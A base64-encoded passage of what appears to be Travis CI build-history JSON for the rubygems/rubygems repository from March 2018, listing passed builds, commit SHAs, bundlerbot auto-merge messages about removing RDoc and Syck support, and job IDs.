gICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTEzVDA3OjQ3OjQ0WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTEzVDA4OjE0OjI4WiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDUwMjM2NzgsCiAgICAgICAgInNoYSI6ICJhOGRjZDJmYmY5NDBkOGQzMGU5MjhhMTBlNjA0NThjMDA0ZmY4ZGIwIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjM1IC0gcnVieWdlbXM6cmVtb3ZlLWJ1bmRsZWQtcmRvYywgcj1oc2J0XG5cblJlbW92ZWQgYnVuZGxlZCBSRG9jIGNvZGVcblxuIyBEZXNjcmlwdGlvbjpcblxuSXQncyBubyBsb25nZXIgdXNlZCBpbiAyMDE4LlxuXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFsgXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvNGVlZGRmYmIyYzdlLi4uYThkY2QyZmJmOTQwIiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMTNUMDc6MjM6MDlaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3MSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTcxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTcyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3MyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTczCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE3OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTc5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MjcxMTE4MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUyNzExMTgwCiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTEzVDA4OjE0OjI4LjU2MFoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM1MDYzMTU0OCIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNTA2MzE1NDgsCiAgICAgICJudW1iZXIiOiAiNDc3MSIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA3MzQ4LAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMDhUMDI6MDI6MjhaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMDhUMDI6Mjg6MjJaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwNDM2MzU4MywKICAgICAgICAic2hhIjogIjRlZWRkZmJiMmM3ZTYyN2I1YWI1OTkwYzAwZGE2YzlhZWJlMDg4MzAiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyMjUgLSBydWJ5Z2VtczpyZW1vdmUtZW5jb2RpbmctY29uZGl0aW9uLTIsIHI9aHNidFxuXG5SZW1vdmVkIG5lZWRsZXNzIGNvbmRpdGlvbiBmb3IgU3RyaW5nI2ZvcmNlX2VuY29kaW5nXG5cbiMgRGVzY3JpcHRpb246XG5cbkZvbGxvd2VkIHVwIHdpdGggaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjIyM1xuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbIF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFsgXSBXcml0ZSB0ZXN0c1xuLSBbIF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlLzgzNjczNTUzMTNmMS4uLjRlZWRkZmJiMmM3ZSIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTA4VDAxOjMxOjAyWiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NDkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU0OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1MQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1MgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1MwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1NAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1NQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTYiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1NgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1NwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTA2MzE1NTgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDYzMTU1OAogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0wOFQwMjoyODoyMi40MDVaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNTAxOTk5NTIiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzUwMTk5OTUyLAogICAgICAibnVtYmVyIjogIjQ3NjgiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogNzc2OSwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTA3VDA4OjAzOjM3WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTA3VDA4OjMwOjMwWiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDQyMjg1NTMsCiAgICAgICAgInNoYSI6ICI4MzY3MzU1MzEzZjFiNDRjZDk4MWUwNjM5OWQ2YjM4MTg3NjJjNGY5IiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjIyIC0gcnVieWdlbXM6cmVtb3ZlLXN5Y2stc3VwcG9ydCwgcj1oc2J0XG5cblJlbW92ZSBzeWNrIHN1cHBvcnRcblxuIyBEZXNjcmlwdGlvbjpcblxuUmVtb3ZlZCBjb2RlIHJlbGF0ZWQgdGhlIFN5Y2sgc3VwcG9ydC4gQmVjYXVzZSBSdWJ5R2VtcyAzIHN1cHBvcnQgPiBSdWJ5IDIuMS4gV2UgZG9uJ3QgbmVlZCB0byBjYXJlIHRoZSBTeWNrIGVuZ2luZS5cblxuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbIF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFsgXSBXcml0ZSB0ZXN0c1xuLSBbIF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL2U5Y2U5NDgxMGMyMy4uLjgzNjczNTUzMTNmMSIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTA3VDA3OjM4OjU0WiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1MwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1NAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1NQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTYiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1NgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1NwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NTkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk1OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NjAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk2MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NjEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk2MQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTAxOTk5NjIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1MDE5OTk2MgogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0wN1QwODozMDozMC43MjVaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNTAxNzk5NjMiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzUwMTc5OTYzLAogICAgICAibnVtYmVyIjogIjQ3NjUiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogNzM1NiwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTA3VDA2OjUxOjQzWiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTA3VDA3OjE3OjU2WiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDQyMjIzOTMsCiAgICAgICAgInNoYSI6ICJlOWNlOTQ4MTBjMjNhM2U5YzkxZjZiN2VmZGI5NmFkNWU2NzJiMDljIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMTI4IC0gcnVieWdlbXM6c2V0LXByZXJlbGVhc2UtdmVyLCByPWhzYnRcblxuU3VwcG9ydCBwcmUtcmVsZWFzZSBSdWJ5R2Vtcy5cblxuV2UgbmVlZCB0byBzaGlwIGEgcHJlLXJlbGVhc2UgdmVyc2lvbiBvZiBSdWJ5R2VtcyBmb3IgZXZhbHVhdGlvbi4iLAogICAgICAgICJjb21wYXJlX3VybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS9iN2QwYzEwNjhkODEuLi5lOWNlOTQ4MTBjMjMiLAogICAgICAgICJjb21taXR0ZWRfYXQiOiAiMjAxOC0wMy0wN1QwNjoyMzoxNVoiCiAgICAgIH0sCiAgICAgICJqb2JzIjogWwogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTY0IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjQKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTY1IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjUKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTY2IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjYKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTY3IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjcKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTY4IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjgKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIj